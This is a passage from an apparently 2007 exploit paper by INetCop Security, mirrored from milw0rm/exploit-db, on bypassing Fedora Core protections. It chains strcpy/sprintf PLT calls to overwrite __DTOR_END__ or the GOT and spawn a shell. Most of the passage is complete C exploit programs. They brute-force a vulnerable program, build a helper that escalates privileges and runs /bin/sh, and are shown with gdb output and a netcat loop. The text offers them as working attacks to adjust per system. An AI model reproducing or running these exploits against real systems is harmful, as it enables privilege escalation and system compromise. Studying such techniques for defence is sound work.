do_ex.func1_do_system.param2=(DO_SYSTEM_d0);
do_ex.func2_do_system.func_plt=STRCPY;
do_ex.func2_do_system.esp_move=ESP_MOVE;
do_ex.func2_do_system.param1=(DTOR_END+i++);
do_ex.func2_do_system.param2=(DO_SYSTEM_57);
do_ex.func3_do_system.func_plt=STRCPY;
do_ex.func3_do_system.esp_move=ESP_MOVE;
do_ex.func3_do_system.param1=(DTOR_END+i++);
do_ex.func3_do_system.param2=(DO_SYSTEM_14);
do_ex.func4_do_system.func_plt=STRCPY;
do_ex.func4_do_system.esp_move=ESP_MOVE;
do_ex.func4_do_system.param1=(DTOR_END+i++);
do_ex.func4_do_system.param2=(NULL_BYTE_00);
/* sh string part */
do_ex.func1_sh_string.func_plt=STRCPY;
do_ex.func1_sh_string.esp_move=ESP_MOVE;
do_ex.func1_sh_string.param1=(DTOR_END+i++);
do_ex.func1_sh_string.param2=(SH_STRING_73);
do_ex.func2_sh_string.func_plt=STRCPY;
do_ex.func2_sh_string.esp_move=ESP_MOVE;
do_ex.func2_sh_string.param1=(DTOR_END+i++);
do_ex.func2_sh_string.param2=(SH_STRING_68);
do_ex.func3_sh_string.func_plt=STRCPY;
do_ex.func3_sh_string.esp_move=ESP_MOVE;
do_ex.func3_sh_string.param1=(DTOR_END+i++);
do_ex.func3_sh_string.param2=(NULL_BYTE_00);
do_ex.func4_sh_string.func_plt=STRCPY;
do_ex.func4_sh_string.esp_move=ESP_MOVE;
do_ex.func4_sh_string.param1=(DTOR_END+i++);
do_ex.func4_sh_string.param2=(NULL_BYTE_00);
do_ex.__do_global_dtors_aux_func=(DO_DTORS_AUX);
memcpy(exploit_buf+strlen(exploit_buf),&do_ex,sizeof(do_ex));
fprintf(stdout,"%s\n",exploit_buf);
fflush(stdout);
return 1;
}
/* eoc */
--
Through debug work after the compile, you should check whether the address of
each function and sh string is right. These address can be varied by the
difference among systems. You just find and enter right address then it will
work fine.
--
[root@localhost tmp]# objdump -d rvuln | grep '<strcpy@plt>:'
080482c8 <strcpy@plt>: ; Address of plt of strcpy() function
[root@localhost tmp]#
--
Debugging result for fedora core 6 glibc 2.5, gcc 4.1.1-30 gdb:
--
[root@localhost tmp]# gcc -o 0x82-remote_x_strcpy 0x82-remote_x_strcpy.c
[root@localhost tmp]# ./0x82-remote_x_strcpy > res
[root@localhost tmp]# gdb rvuln -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r test
...
(gdb) br *do_system
Breakpoint 1 at 0xb967d0
(gdb) r < res
...
Breakpoint 1, 0x001457d0 in do_system () from /lib/libc.so.6
(gdb) print __do_global_dtors_aux
$1 = {<text variable, no debug info>} 0x8048330 <__do_global_dtors_aux>
(gdb) print do_system
$2 = {<text variable, no debug info>} 0x1457d0 <do_system>
(gdb) x/i 0x08048485
0x8048485 <__do_global_ctors_aux+37>: pop %ebx ; __do_global_ctors_aux() epilog
(gdb)
0x8048486 <__do_global_ctors_aux+38>: pop %ebp
(gdb)
0x8048487 <__do_global_ctors_aux+39>: ret
(gdb) x/xb 0x080480b8
0x80480b8: 0xd0 ; 1byte of will-be do_system() address
(gdb) x/xb 0x080483f3
0x80483f3 <__libc_csu_init+3>: 0x57 ; 1byte of will-be do_system() address
(gdb) x/xb 0x08048060
0x8048060: 0x14 ; 1byte of will-be do_system() address
(gdb) x/xb 0x080481f4
0x80481f4: 0x73 ; 1byte of sh string
(gdb) x/xb 0x0804829e
0x804829e <__gmon_start__@plt+6>: 0x68 ; 1byte of sh string
(gdb) x/xb 0x08048066
0x8048066: 0x00 ; null character
(gdb) x &__JCR_LIST__-1
0x80494c8 <__DTOR_END__>: 0x001457d0 ; address of __DTOR_END__
(gdb)
0x80494cc <__JCR_LIST__>: 0x00006873 ; address of __DTOR_END__+4
(gdb)
(gdb) q
The program is running. Exit anyway? (y or n) y
[root@localhost tmp]# while [ 1 ] ; do (./0x82-remote_x_strcpy; cat)| nc localhost 60177; done
--
----[ 6.11 - string copy plt + execve() __DTOR_END__ overwrite local stack overflow exploit
Attack code on this chapter is tested on F/C 6 and it will work on F/C 5 too.
Below is the target vuln.c code.
-- vuln.c --
int main(int argc,char *argv[]){
f(argv[1]);
}
int f(char *str){
char buf[8];
sprintf(buf,"%stest",str);
}
--
vuln program is made to use sprintf() function's plt.
exeploit code below will try a brute-force attack.
-- 0x82-local_x_execve.c --
/* 0x82-local_x_execve.c */
#include <stdio.h>
#include <unistd.h>
#define SPRINTF 0x08048278
#define ESP_MOVE 0x08048445
#define DO_DTORS_AUX_PROLOG_END 0x08048306
#define DTOR_END 0x08049488
#define EXECVE 0x0019dbff
#define SH_STRING 0x00006873
#define EXECVE_ff 0x08048487
#define EXECVE_db 0x08048b68
#define EXECVE_19 0x08048032
#define SH_STRING_73 0x08048122
#define SH_STRING_68 0x0804827e
#define NULL_BYTE_00 0x08048008
struct string_copy {
unsigned long func_plt;
unsigned long esp_move;
unsigned long param1;
unsigned long param2;
};
struct funcs {
struct string_copy func1_execve;
struct string_copy func2_execve;
struct string_copy func3_execve;
struct string_copy func4_execve;
struct string_copy func1_sh_string;
struct string_copy func2_sh_string;
struct string_copy func3_sh_string;
struct string_copy func4_sh_string;
unsigned long __do_global_dtors_aux_end;
unsigned long execve_arg1;
unsigned long execve_arg2;
unsigned long execve_arg3;
};
int main()
{
char exploit_buf[260+sizeof(struct funcs)+8+4];
struct funcs do_ex;
int i=0;
int pid=0;
FILE *fp;
memset(exploit_buf,0,sizeof(exploit_buf));
memset(exploit_buf,0x82,12);
/* execve part */
do_ex.func1_execve.func_plt=SPRINTF;
do_ex.func1_execve.esp_move=ESP_MOVE;
do_ex.func1_execve.param1=(DTOR_END+i++);
do_ex.func1_execve.param2=(EXECVE_ff);
do_ex.func2_execve.func_plt=SPRINTF;
do_ex.func2_execve.esp_move=ESP_MOVE;
do_ex.func2_execve.param1=(DTOR_END+i++);
do_ex.func2_execve.param2=(EXECVE_db);
do_ex.func3_execve.func_plt=SPRINTF;
do_ex.func3_execve.esp_move=ESP_MOVE;
do_ex.func3_execve.param1=(DTOR_END+i++);
do_ex.func3_execve.param2=(EXECVE_19);
do_ex.func4_execve.func_plt=SPRINTF;
do_ex.func4_execve.esp_move=ESP_MOVE;
do_ex.func4_execve.param1=(DTOR_END+i++);
do_ex.func4_execve.param2=(NULL_BYTE_00);
/* sh string part */
do_ex.func1_sh_string.func_plt=SPRINTF;
do_ex.func1_sh_string.esp_move=ESP_MOVE;
do_ex.func1_sh_string.param1=(DTOR_END+i++);
do_ex.func1_sh_string.param2=(SH_STRING_73);
do_ex.func2_sh_string.func_plt=SPRINTF;
do_ex.func2_sh_string.esp_move=ESP_MOVE;
do_ex.func2_sh_string.param1=(DTOR_END+i++);
do_ex.func2_sh_string.param2=(SH_STRING_68);
do_ex.func3_sh_string.func_plt=SPRINTF;
do_ex.func3_sh_string.esp_move=ESP_MOVE;
do_ex.func3_sh_string.param1=(DTOR_END+i++);
do_ex.func3_sh_string.param2=(NULL_BYTE_00);
do_ex.func4_sh_string.func_plt=SPRINTF;
do_ex.func4_sh_string.esp_move=ESP_MOVE;
do_ex.func4_sh_string.param1=(DTOR_END+i++);
do_ex.func4_sh_string.param2=(NULL_BYTE_00);
do_ex.__do_global_dtors_aux_end=(DO_DTORS_AUX_PROLOG_END);
do_ex.execve_arg1=(DTOR_END+4);
do_ex.execve_arg2=(NULL_BYTE_00);
do_ex.execve_arg3=(NULL_BYTE_00);
memcpy(exploit_buf+strlen(exploit_buf),&do_ex,sizeof(do_ex));
if((fp=fopen("sh.c","w"))==NULL)
{
fprintf(stderr,"[-] sh.c fopen error\n");
exit(-1);
}
fprintf(fp,"int main(){"
"setreuid(geteuid(),geteuid());"
"setregid(getegid(),getegid());"
"unlink(\"sh\");"
"unlink(\"sh.c\");"
"execl(\"/bin/sh\",\"sh\",0);"
"}\n");
fclose(fp);
system("gcc -o sh sh.c");
while(1)
{
if((fp=fopen("sh.c","r"))==NULL)
{
break;
}
if((pid=fork())==0)
{
execl("./vuln","vuln",exploit_buf,0);
}
wait(&pid);
}
return 1;
}
--
After compile and some debugging, check whether each function address
and sh string's address is right. These address can be varied depends on
system environment. You just need to find them and fix them.
--
[root@localhost tmp]# objdump -d vuln | grep "<sprintf@plt>:"
08048278 <sprintf@plt>: ; sprintf()'s plt address
[root@localhost tmp]#c
--
To debug exploit code, annotate the brute-force stuff.
Annotate from 125th line. like this:
--
125 // while(1)
126 {
127 if((fp=fopen("sh.c","r"))==NULL)
128 {
129 // break;
130 }
131 // if((pid=fork())==0)
132 {
133 execl("./vuln","vuln",exploit_buf,0);
134 }
135 // wait(&pid);
--
Debug report for fedora core 6 glibc 2.5, gcc 4.1.1-30 gdb:
--
[root@localhost __DTOR_END_GLOBAL_OFFSET_TABLE_]# gdb -q 0x82-local_x_execve
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /tmp/__DTOR_END_GLOBAL_OFFSET_TABLE_/0x82-local_x_execve
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh.c: In function ?ain?
sh.c:1: warning: incompatible implicit declaration of built-in function ?xecl?
Program received signal SIGSEGV, Segmentation fault.
0x0019dbff in _exit () from /lib/libc.so.6
(gdb) print execve
$1 = (<text variable, no debug info> *) 0x19dbff <_exit+27> ; use execve()-1 address.
(gdb) x/i 0x08048306
0x8048306: cmpb $0x0,0x804957c ; right after __do_global_dtors_aux() prolog
(gdb) x/i 0x08048445
0x8048445 <_start+5>: pop %ebx ; _start()'s epilog
(gdb)
0x8048446 <_start+6>: pop %ebp
(gdb)
0x8048447 <_start+7>: ret
(gdb) x/xb 0x08048487
0x8048487 <call_gmon_start+35>: 0xff ; 1byte that will be execve() address
(gdb) x/xb 0x08048b68
0x8048b68: 0xdb ; 1byte that will be execve() address
(gdb) x/xb 0x08048032
0x8048032: 0x19 ; 1byte that will be execve() address
(gdb) x/xb 0x08048122
0x8048122: 0x73 ; 1byte from sh string
(gdb) x/xb 0x0804827e
0x804827e: 0x68 ; 1byte from sh string
(gdb) x/xw 0x08048008
0x8048008: 0x00000000 ; null value
(gdb) x 0x08049488
0x8049488: 0x0019dbff ; __DTOR_END__ address
(gdb)
0x804948c: 0x00006873 ; __DTOR_END__+4 address
(gdb)
0x8049490: 0x00000000
(gdb)
--
----[ 6.12 - string copy plt + execve() GOT overwrite local stack overflow exploit
Exploit codes on this chapter are also test on F/C 6
and will work fine on both F/C 5 and 6. vuln.c code is below.
-- vuln.c --
int main(int argc,char *argv[]){
f(argv[1]);
}
int f(char *str){
char buf[8];
sprintf(buf,"%stest",str);
}
--
vuln program is same as coe on 6.11. It uses sprintf()'s plt.
Exploit code will try a brute-force attack automatically.
-- 0x82-local_got_execve.c --
/* 0x82-local_got_execve.c */
#include <stdio.h>
#include <unistd.h>
#define SPRINTF 0x08048278
#define ESP_MOVE 0x08048445
#define FUNC_PLT 0x08048298 /* __libc_start_main() */
#define FUNC_GLOBAL_OFFSET_TABLE_ 0x08049570
#define EXECVE 0x0019dbff
#define SH_STRING 0x00006873
#define EXECVE_ff 0x08048487
#define EXECVE_db 0x08048b68
#define EXECVE_19 0x08048032
#define SH_STRING_73 0x08048122
#define SH_STRING_68 0x0804827e
#define NULL_BYTE_00 0x08048008
struct string_copy {
unsigned long func_plt;
unsigned long esp_move;
unsigned long param1;
unsigned long param2;
};
struct funcs {
struct string_copy func1_execve;
struct string_copy func2_execve;
struct string_copy func3_execve;
struct string_copy func4_execve;
struct string_copy func1_sh_string;
struct string_copy func2_sh_string;
struct string_copy func3_sh_string;
struct string_copy func4_sh_string;
unsigned long func_plt;
unsigned long dummy_4byte;
unsigned long execve_arg1;
unsigned long execve_arg2;
unsigned long execve_arg3;
};
int main()
{
char exploit_buf[260+sizeof(struct funcs)+8+4];
struct funcs do_ex;
int i=0;
int pid=0;
FILE *fp;
memset(exploit_buf,0,sizeof(exploit_buf));
memset(exploit_buf,0x82,12);
/* execve part */
do_ex.func1_execve.func_plt=SPRINTF;
do_ex.func1_execve.esp_move=ESP_MOVE;
do_ex.func1_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func1_execve.param2=(EXECVE_ff);
do_ex.func2_execve.func_plt=SPRINTF;
do_ex.func2_execve.esp_move=ESP_MOVE;
do_ex.func2_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func2_execve.param2=(EXECVE_db);
do_ex.func3_execve.func_plt=SPRINTF;
do_ex.func3_execve.esp_move=ESP_MOVE;
do_ex.func3_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func3_execve.param2=(EXECVE_19);
do_ex.func4_execve.func_plt=SPRINTF;
do_ex.func4_execve.esp_move=ESP_MOVE;
do_ex.func4_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func4_execve.param2=(NULL_BYTE_00);
/* sh string part */
do_ex.func1_sh_string.func_plt=SPRINTF;
do_ex.func1_sh_string.esp_move=ESP_MOVE;
do_ex.func1_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func1_sh_string.param2=(SH_STRING_73);
do_ex.func2_sh_string.func_plt=SPRINTF;
do_ex.func2_sh_string.esp_move=ESP_MOVE;
do_ex.func2_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func2_sh_string.param2=(SH_STRING_68);
do_ex.func3_sh_string.func_plt=SPRINTF;
do_ex.func3_sh_string.esp_move=ESP_MOVE;
do_ex.func3_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func3_sh_string.param2=(NULL_BYTE_00);
do_ex.func4_sh_string.func_plt=SPRINTF;
do_ex.func4_sh_string.esp_move=ESP_MOVE;
do_ex.func4_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++);
do_ex.func4_sh_string.param2=(NULL_BYTE_00);
do_ex.func_plt=(FUNC_PLT);
do_ex.dummy_4byte=0x82828282;
do_ex.execve_arg1=(FUNC_GLOBAL_OFFSET_TABLE_+4);
do_ex.execve_arg2=(NULL_BYTE_00);
do_ex.execve_arg3=(NULL_BYTE_00);
memcpy(exploit_buf+strlen(exploit_buf),&do_ex,sizeof(do_ex));
if((fp=fopen("sh.c","w"))==NULL)
{
fprintf(stderr,"[-] sh.c fopen error\n");
exit(-1);
}
fprintf(fp,"int main(){"
"setreuid(geteuid(),geteuid());"
"setregid(getegid(),getegid());"
"unlink(\"sh\");"
"unlink(\"sh.c\");"
"execl(\"/bin/sh\",\"sh\",0);"
"}\n");
fclose(fp);
system("gcc -o sh sh.c");
while(1)
{
if((fp=fopen("sh.c","r"))==NULL)
{
break;
}
if((pid=fork())==0)
{
execl("./vuln","vuln",exploit_buf,0);
}
wait(&pid);
}
return 1;
}
--
After compile and some debugging, check whether each function address
and sh string's address is right. These address can be varied depends on
system environment. You just need to find them and fix them.
--
[root@localhost tmp]# objdump -d vuln | grep "<sprintf@plt>:"
08048278 <sprintf@plt>: ; sprintf()'s plt address
[root@localhost tmp]#
--
To debug exploit code, annotate the brute-force stuff.
Annotate from 127th line. like this:
--
127 // while(1)
128 {
129 if((fp=fopen("sh.c","r"))==NULL)
130 {
131 // break;
132 }
133 // if((pid=fork())==0)
134 {
135 execl("./vuln","vuln",exploit_buf,0);
136 }
137 // wait(&pid);
--
Debug report for fedora core 6 glibc 2.5, gcc 4.1.1-30 gdb:
--
[root@localhost __DTOR_END_GLOBAL_OFFSET_TABLE_]# gdb -q 0x82-local_got_execve
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /tmp/__DTOR_END_GLOBAL_OFFSET_TABLE_/0x82-local_got_execve
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh.c: In function ?ain?
sh.c:1: warning: incompatible implicit declaration of built-in function ?xecl?
Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x0019dbff in _exit () from /lib/libc.so.6
(gdb) print execve
$1 = (<text variable, no debug info> *) 0x19dbff <_exit+27> ; use execve()-1 address
(gdb) x/i 0x08048298
0x8048298: jmp *0x8049570 ; __libc_start_main function's plt
(gdb)
0x804829e: push $0x10
(gdb)
0x80482a3: jmp 0x8048268
(gdb) x/xw 0x8049570 ; __libc_start_main function's got
0x8049570: 0x0019dbff
(gdb)
0x8049574: 0x00006873
(gdb) x/i 0x08048445
0x8048445 <_start+5>: pop %ebx ; _start() function epilog
(gdb)
0x8048446 <_start+6>: pop %ebp
(gdb)
0x8048447 <_start+7>: ret
(gdb) x/xb 0x08048487
0x8048487 <call_gmon_start+35>: 0xff ; 1byte that will be execve()'s address
(gdb) x/xb 0x08048b68
0x8048b68: 0xdb ; 1byte that will be execve()'s address
(gdb) x/xb 0x08048032
0x8048032: 0x19 ; 1byte that will be execve()'s address
(gdb) x/xb 0x08048122
0x8048122: 0x73 ; 1byte of sh string
(gdb) x/xb 0x0804827e
0x804827e: 0x68 ; 1byte of sh string
(gdb) x/xw 0x08048008
0x8048008: 0x00000000 ; null value
(gdb)
--
P.S2: I am always open and grateful for advice, support and anything. You can
contact me by e-mail <[email protected]>. You can get really working
exploit from refrence 7.18. If you are interested in that, please come
and visit my website occasionally. Thank you.
--[ 7 - Reference
----[ 7.1 - Aleph One: "Phrack 49-7 - Smashing the stack for fun and profit"
----[ 7.2 - Solar Designer: "Getting around non-executable stack (and fix)"
----[ 7.3 - Rafal Wojtczuk: "Defeating Solar Designer non-executable stack patch"
----[ 7.4 - Lamagra: "Corezine - Project OMEGA"
----[ 7.5 - klog: "Phrack 55-8 - The Frame Pointer Overwrite"
----[ 7.6 - Bulba and Kil3r, Lam3rZ: "Phrack 56-5 - Bypassing StackGuard and StackShield"
----[ 7.7 - Nergal (Rafal Wojtczuk): "Phrack 58-4 - The advanced return-into-lib(c) exploits"
----[ 7.8 - scut (team teso): "Exploiting Format String Vulnerabilities"
----[ 7.9 - Juan M. Bello Rivas: "Overwriting the .dtors section"
----[ 7.10 - vangelis: "How to Exploit Overflow Vulnerability Under Fedora Core"
----[ 7.11 - beist: "Making successful stack overflow attack on F/C 2 bypassing Exec-shield at once"
----[ 7.12 - Stack Shield: http://www.angelfire.com/sk/stackshield/
----[ 7.13 - Solar Designer: http://www.openwall.com/linux/
----[ 7.14 - PaX Team: http://pax.grsecurity.net/
----[ 7.15 - RSX: http://www.starzetz.com/software/rsx/
----[ 7.16 - kNoX: http://isec.pl/projects/knox/knox.html
----[ 7.17 - Exec-shield: http://people.redhat.com/mingo/exec-shield/
----[ 7.18 - POC 2006 article: http://powerofcommunity.net/poc2006/ex.pdf
----[ 7.19 - my article: http://x82.inetcop.org/h0me/papers/FC_exploit/
----[ 7.20 - ggum: "I love Hun Sa Ma" (just kidding)
GREETS
******
INetCop security, aman, bb0, ggum, pr1nc3, m4z3, nova, freebear, 1su, 1ndr4,
k3rn3l, fri, cloud, powerqgold, Hust3r members, s3ung, CN security family,
edward, purewell, morris.jang, sangsang, colap & jyul, shutup fucking Sk1dr0w,
lucid7, pr0sp3r, uptx, V4mp1r3, Wowhacker, secret, l1nefeed, ZIZI, wooyaggo,
boannews mr.gil, popeye, chaos, barami, opt, piranha, seyool,
#whitehat@hanirc friends, x9, x90c, r4d14n7, randomkid, SecurityProof,
thomas lim, gohsuke Takama, Andrew cushman, Lukas grunwald, grugq,
delivery mr.yang, press mindb, bkbll, Doctornuke (email@hax0r), Stuart Moore,
GOBBLES mind, me0w linuxer, euna, nawhni7, hyunwoong, ENI, Alex Hernandez,
Damian Myerscough, Brain Storm, Electronic Souls, old Snosoft, and KF,
korean hackers, clover band, my friends and family.
INetCop Security
http://www.inetcop.org/
http://x82.inetcop.org/
--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com
INetCop Security Home: http://www.inetcop.org
My World: http://x82.inetcop.org
GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--
# milw0rm.com [2007-04-13]
- Источник
- www.exploit-db.com